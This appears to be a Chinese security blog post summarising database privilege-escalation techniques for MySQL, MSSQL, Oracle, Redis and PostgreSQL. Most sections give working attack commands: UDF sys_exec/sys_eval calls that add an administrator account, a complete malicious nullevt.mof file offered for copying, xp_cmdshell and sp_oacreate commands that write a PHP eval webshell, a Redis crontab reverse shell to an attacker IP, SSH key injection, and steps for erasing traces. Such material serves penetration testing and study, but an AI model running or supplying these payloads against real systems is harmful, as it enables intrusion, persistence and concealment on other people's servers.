新年第一更!祝各位師傅們新年快樂
之前說了windows系統提權和Linux系統提權,然后當時篇幅原因沒說第三方提權,那么今天就來整理一下常見的第三方提權。。。。。。中的數據庫提權的小知識(其他的第三方提權實在太多且雜亂,沒想好怎么總結,就不給自己增加工作量了,以后再說吧;此篇隨筆還是一篇側重思路的總結,而不是復現操作,會說一下值得注意的點,具體復現操作請自行參考其他師傅的文章)
前篇指路鏈接:
https://www.cnblogs.com/lcxblogs/p/14163338.html
https://www.cnblogs.com/lcxblogs/p/13983754.html
0x00 前言
我有一個朋友說面試的時候,面試官問他:小伙汁,你知道哪些提權方法啊?
他和我講了他的翻車經歷,於是我把完成此文這件事,提上日程了
當然,提權漏洞層出不窮(最近cve-2021-3156 sudo提權就比較火),第三方的軟件、服務、插件等等在漫長的歷史長河中,出現過的漏洞更是多如牛毛
本文僅僅是我,作為一個菜雞,在前輩們的基礎上,整理的一些常見or過去常見的部分數據庫提權思路,形成全文
由於數據庫本身限制,如今想要通過純.數據庫提權那是勉為其難,難上加難,強人所難,左右為難,很多方法在今天已經不合適了,沒什么卵用
但是
還是得說說,因為總有人喜歡問是吧
0x01 MySQL
1.UDF提權
雖然。。。但是。。。這是個常常會被問到的小點
先明確一個概念:UDF(user defined function)即用戶自定義函數,是mysql數據庫功能的一種擴展,用戶通過自定義函數來實現mysql中原本不方便實現的功能,添加新函數以便在mysql中調用
所以udf提權的思路就是:通過引入udf.dll文件, 再引入自定義函數,執行系統命令
於是就產生了幾個問題:
如何引入udf.dll文件?要udf.dll文件引入到哪里?引入完了要干點啥?
想用udf提權是有前提條件的:
(1)Mysql版本大於5.1版本udf.dll文件必須放置於MYSQL安裝目錄下的lib\plugin文件夾下
(2)Mysql版本小於5.1版本udf.dll文件在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32
(3)已經掌握的這個mysql數據庫的賬號,需要有mysql的操作權限(插入、刪除),即我們需要獲得mysql的root權限賬號
(4)有可以將udf.dll寫入到相應目錄的權限
本小點UDF提權的所有內容均是在滿足以上條件的前提下,討論的
先說一下前提條件之root權限的問題
想獲取root賬號密碼,可以嘗試在目標站點目錄中找找數據庫配置文件(什么config、conn、data、sql之類命名的比較可疑,或者是什么CMS網站之類的存在固定命名方式)、爆破root(不一定就叫root,愛叫啥叫啥,權限最重要)密碼(當然數據庫不太可能允許從外部訪問,所以想想辦法從內部干他一炮)、找數據庫文件.myd然后看看能不能解密出來。。。。。。
之后說說UDF提權的一些操作
《1》sqlmap UDF提權
最簡單的:
python sqlmap.py -d "mysql://root:root@xxx.xxx.xxx.xxx:3306/cms" --os-shell
對應 "數據庫類型://數據庫賬戶:密碼@ip:端口/數據庫名稱"
當然這是屬於數據庫允許這樣連接時的情況,連不上也沒用,從外部滲透,很多情況下是遠程連接。。。
中途會提示選擇數據庫版本
最后在返回的os-shell中執行whoami,如果提權成功了,就能看到當前shell返回會說:“我是系統管理員權限”
或者,用sqlmap自帶的udf.dll提權
看版本為64位
哦吼,拉閘,為NULL文件無法導入導出(新版本的mysql可能會有其他默認路徑,不再是默認NULL),意味着sqlmap中自帶的udf.dll文件通過數據庫傳不進去,而secure_file_priv必須是空才可以導入導出(secure_file_priv=“”)
Windows下需要改my.ini文件,使MySQL允許導入導出(如果你能改的話就改,改不了就此GG,后面不用看了,除非可以不走數據庫而通過其他手段把udf.dll文件傳進指定目錄去)
如果能改,改過之后,找lib\plugin位置(有些情況下沒有此目錄需要自己創建)
然后找sqlmap中自帶的編碼后的udf.dll文件,大概在這個目錄下(當然具體在哪需要按照具體目標環境啥的判斷,我這個只是參考)
然后sqlmap有個cloak.py的腳本,可以用來解密這個編碼后的dll文件,執行
成功后會生成解碼后的dll文件(以dll為后綴的)
SELECT LOAD_FILE('xxxx目錄下/lib_mysqludf_sys.dll') into DUMPFILE 路徑
(參考上圖這個路徑D:\phpstudy\phpstudy_pro\Extensions\MySQL8.0.12\lib\plugin\)
SELECT LOAD_FILE('D:\python-3.9.0\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll') into DUMPFILE 'D:\phpstudy\phpstudy_pro\Extensions\MySQL8.0.12\lib\plugin\udf.dll';
啊,如果不能寫入,就是這樣
為了演示,我偷懶直接把lib_mysqludf_sys.dll重命名為udf.dll,然后粘貼到D:\phpstudy\phpstudy_pro\Extensions\MySQL8.0.12\lib\plugin中了,實際情況下不能通過數據庫導入就得想想別的辦法導入了
然后我在udf.dll允許的函數中創建了一個sys_exec的函數,即CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.dll';
(看一眼udf.dll中存在的可以創建的函數,這不是我瞎寫的,里面確實有sys_exec)
可彈出計算機select sys_exec('calc');
或者sys_eval
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');
可見提權成功,這個是我本機的高權限用戶,我就打碼了
用完過河拆橋之
還可以這樣利用:
select sys_eval('net user lcx 123456 /add & net localgroup administrators lcx /add'); 創建用戶lcx 密碼123456 加到系統管理員組
select sys_eval('netstat -an') into outfile 'C:/xxxx/xxxx/xxxx/test.txt'; 保存執行結果到某路徑下的test.txt文件中
等等等等。。。。。。
我這里僅僅是舉幾個例子,實際應用以實際情況為准
《2》其他手工UDF提權
傳大馬 的干活,你懂的,很多大馬有類似的提權、執行、導入導出功能,原理還是那個原理,操作略有不同
比如很多表哥用的那個
不展開了
udf提權也可以在Linux中搞一搞,思想一樣,但是細節不一樣,祝你好運
但是接下來介紹的mof提權就是純windows下的東西了
2.mof提權
利用了c:/windows/system32/wbem/mof/目錄下的 nullevt.mof 文件,每隔一段時間(默認5s)都會用系統權限執行一次的特性,來寫入cmd命令使其被帶入以系統權限執行
使用MOF提權的前提是當前數據庫賬戶可以復制文件到xxxxx\System32\wbem\MOF目錄下,即有讀寫權限,傳不了就別想了,白費勁
使用條件和UDF提權差不多,而且更苛刻
《1》上傳nullevt.mof提權
最常見的一種方法:
上傳構造好的nullevt.mof文件到服務器上任意位置,名字任意,就叫nullevt.mof就行
通過mysql語句 select load_file(上傳的那個nullevt.mof文件的路徑) into dumpfile 'C:/Windows/System32/mof/nullevt.mof'
例如:select load_file("D:/phpstudy/WWW/nullevt.mof") into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof"
一個nullevt.mof文件長啥樣?如圖
為方便需要的老哥,我把內容放在這里供拷貝,具體自己改吧
#pragma namespace(“\\\\.\\root\\subscription”) instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2”; Name = “filtP2”; Query = “Select * From __InstanceModificationEvent “ “Where TargetInstance Isa \”Win32_LocalTime\” “ “And TargetInstance.Second = 5”; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2”; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user xxx xxx /add\”)“; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
紅框里的地方就是我們可以利用的,經常可以使用如: net.exe user lcx 123456 /add\ 來添加一個用戶lcx
自然也可以寫別的例如: net localgroup administrators lcx /add 把lcx用戶加到本地管理員組,變相提權實現不可告人的目的
但是你這循環創建用戶,動靜很大
於是:
net stop winmgmt
net user lcx /delete
cd到c:/windows/system32/wbem del repository
net start winmgmt
干完就跑
《2》其他手工MOF提權
傳大馬的干活*2
udf 與mof 提權在msf中也有相應的模塊功能,參考https://www.cnblogs.com/-mo-/p/11970146.html
不說了
3.啟動項提權
看看就好:https://blog.csdn.net/weixin_30263409/article/details/113160937
4.反彈端口提權
通過反彈端口獲得system權限的cmdshell,其實也算一種 udf 提權吧
參考:https://xz.aliyun.com/t/246
還有一些不那么典型的提權如:
CVE-2012-2122 Mysql身份認證漏洞: https://blog.csdn.net/weixin_41924764/article/details/113101932
CVE-2016-6662 :https://www.secpulse.com/archives/51892.html
CVE-2016-6663、CVE-2016-6664:https://xz.aliyun.com/t/1122#toc-5
然后我把MariaDB也放這里了,比較出名的就這個CVE
CVE-2020-7221:https://paper.seebug.org/1127/
關於mysql提權的姿勢 ,暫時說到這里
0x02 MSSQL
手頭沒有環境,只說思路,不演示了
1.xp_cmdshell
xp_cmdshell一個存儲過程腳本,可執行操作系統的指令
這么危險的東西,能禁止都禁止了,新版本的SQLserver都默認禁止調用了
除非你有sa權限能修改sp_configure來開啟xp_cmdshell
所以能用xp_cmdshell提權的前提是:
獲得了sa權限賬號密碼然后有shell去執行命令(其實不僅是這里說到的,大多數都是這個思路,無論是傳木馬webshell還是外連數據庫,反正得有shell(廢話),不一一重復)
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure; 開啟CMDshell ;關閉同理,這兩句中的1改成0即可
exec master..xp_cmdshell "whoami"; 可見當前權限,正常來說是system權限
exec master..xp_cmdshell 'net user lcx 123456 /add';
exec master..xp_cmdshell 'net localgroup administrators lcx /add'; 新建用戶名,把新用戶提升到管理員權限
exec master..xp_cmdshell "echo ^<?php eval($_POST['cmd'])?^> > D:\cmd.php" 當然也可以嘗試寫木馬
除了xp_cmdshell之外還有很多可利用的存儲過程
2.sp_oacreate
如果用不了xp_cmdshell提權,比方說這個存儲過程啪地一下,沒了,怎么搞
雖然說可以上傳xplog70.dll進行恢復 :exec master.sys.sp_addextendedproc 'xp_cmdshell','D:\xxxxx\xxxxx\xxxxx\xplog70.dll';
但有沒有其他思路呢
可以采用OLE(Object Linking and Embedding)的run方法來執行系統命令(也是新版本mssql禁用了)
exec sp_configure 'show advanced options',1;
reconfigure with override;
exec sp_configure 'ole automation procedures',1; (關閉把這條語句的1改成0,並在最后加上exec sp_configure 'show advanced options',0;reconfigure;)
reconfigure with override; 用這幾條語句把組件打開了,新版mssql默認關閉
利用sp_oacreate調用wscript.shell組件,將返回的對象存儲到@shell變量中,我這里是執行了whoami,由於沒有回顯,我把結果放在1.txt中方便觀察
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >D:\1.txt';
怎么個斷句?這么斷句:
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output 用sp_oacreate調用wscript.shell組件,將返回的對象存儲到@shell變量中
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >D:\1.txt'; 用sp_oamethod 調用@shell對象中的Run方法,執行添加我的命令whoami,null是run方法的返回值,由於不需要用返回值,所以寫null
(OLE存儲過程有很多除了sp_oacreate、sp_oamethod之外,還有不少,剩下那些我也沒啥研究,不胡說八道了,歡迎大佬補充)
自然也可以執行常規的喜聞樂見的創建用戶加到管理員組的提權操作(注意不同操作系統版本可能執行新建用戶名語句略有差異)
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user lcx 123456 /add';
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators lcx /add';
3.沙盒提權
首先用xp_regwrite這個存儲過程對注冊表進行寫操作,開啟沙盒模式
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode
然后利用sql語句添加新帳號,同時加入管理員組進行提權(注意不同操作系統版本可能執行新建用戶名語句略有差異)
select * from openrowset('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user lcx 123456 /add")');
select * from openrowset('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators lcx /add")');
還有一些其他mssql提權姿勢,比如JOB提權、映像劫持提權,我並沒有用過,所以請參考:https://www.cnblogs.com/hzk001/p/12889944.html
0x03 Oracle
。。。好久不用oracle不記得密碼了
於是:
sys
wangle as sysdba
關於Oracle提權,不曉得有沒有支持新版本、更好的提權姿勢,也不敢亂說,暫且列舉幾篇文章供參考:
https://www.cnblogs.com/-qing-/p/10768290.html#_label0
https://blog.csdn.net/qq_17204441/article/details/89484872
https://www.cnblogs.com/rebeyond/p/7928887.html
以及 一款工具Oracleshell
https://www.cnblogs.com/rebeyond/p/7928887.html
(發點牢騷,技術的更新實在是太快了,曾經的jsp也早被各種前端框架用前后端分離啥的,出重拳錘爆了)
0x04 Redis
關於redis提權,最常見的還是配置失誤導致的未授權訪問造成的提權
1.計划任務反彈shell
redis以root權限運行時可以寫crontab來執行命令反彈shell
如果redis配置又沒有密碼登錄,又關閉了保護模式(protected-mode),還沒有綁定只允許本地IP可連接的話
那自己機器監聽一個端口比如9999:nc -lvnp 9999
遠程連接redis:redis-cli -h redis服務端IP
之后執行
set xx "\n* * * * * bash -i >& /dev/tcp/自己機器IP/9999 0>&1\n"
config set dir /var/spool/cron/(默認寫的crontab文件都在這個路徑 )
config set dbfilename root
save
就會反彈回來一個目標機器root權限的shell,相當於提權了
演示:https://blog.csdn.net/qq_42094992/article/details/113449176
(上述命令不同操作系統不盡相同,有待測試,僅以centos為例)
2.往web目錄寫shell
當redis權限不高時,並且服務器開着web服務,
同時redis還有web目錄寫權限,則可以嘗試往web路徑寫webshell
連上redis后,
config set dir /var/www/html/(此處路徑不固定,為目標站點的物理路徑)
config set dbfilename webshell.php
set x "<?php phpinfo();?>"(此處可以改成馬子,連之)
save
然后用馬子搞搞后續提權操作
3.寫 ssh-key 公鑰獲取權限
如果redis使用root賬號啟動,且服務器開放了 SSH 服務,而且,允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器
這種辦法推薦的人比較多
本地生成ssh密鑰(即id_rsa)
ssh-keygen -t rsa
config set dir /root/.ssh/
config set dbfilename authorized_keys (把公鑰寫進目標主機的/root/.ssh下,並且名稱為 authorized_keys)
set x "公鑰" (需要查看生成的公鑰內容寫在里面)
save
最后免密碼登錄目標機器
ssh -i id_rsa root@目標ip
此時是系統root權限
0x05 PostgreSQL
CVE-2019-9193:https://blog.csdn.net/blood_pupil/article/details/88795627
即新版msf中的multi/postgres/postgres_copy_from_program_cmd_exec這個模塊,可用於postgresql提權
CVE-2018-1058:https://blog.csdn.net/zy15667076526/article/details/111824500
釣魚。。。提權,也算一種提權吧
未經允許,禁止轉載